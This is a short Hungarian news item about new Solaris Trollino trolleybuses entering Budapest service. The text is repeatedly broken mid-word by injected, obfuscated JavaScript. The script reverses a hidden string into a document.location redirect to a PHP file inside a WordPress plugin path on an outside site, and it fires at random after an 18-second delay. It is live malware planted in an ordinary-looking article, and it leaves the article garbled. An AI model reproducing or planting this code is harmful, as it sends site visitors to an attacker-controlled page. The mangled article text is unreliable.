Megjöttek az új buszok

A 10 szóló és 11 csuklós trolibusz a műszaki tesztek után utasok nélküli próbafutáson 2000 kilométert tesz meg, és ezt követően a budapesti trolibusz-vonalhálózatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton állhat forgalomba. A 64 fő befogadóképességű szóló trolibuszok közül mindegyik alacsonypadlós kialakítású, ezért a mozgásukban korlátoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tozottak, illetve a babakocsival közlekedők utazása is kényelmesebbé válik – írta a beszerzés kapcsán a BKK a Facebook oldalán. Az új Solaris Trollino 12 trolibuszok a 2015–2016-ban forgalomba állt 36 trolibuszhoz képest alacsonyabb belépőmagassággal és újabb generációs, könnyebb karosszériával rendelkeznek. Úgy tudjuk a lengyel Solaris cég készíti a felépítményét az új troliknak, míg a Skodánál rakják bele a hajtási rendszert.

A cikk folytatódik: $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/klasszik/2019/01/24/megjottek-az-uj-buszok.html" target="_blank">http://autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/klasszik/2019/01/24/megjottek-az-uj-buszok.html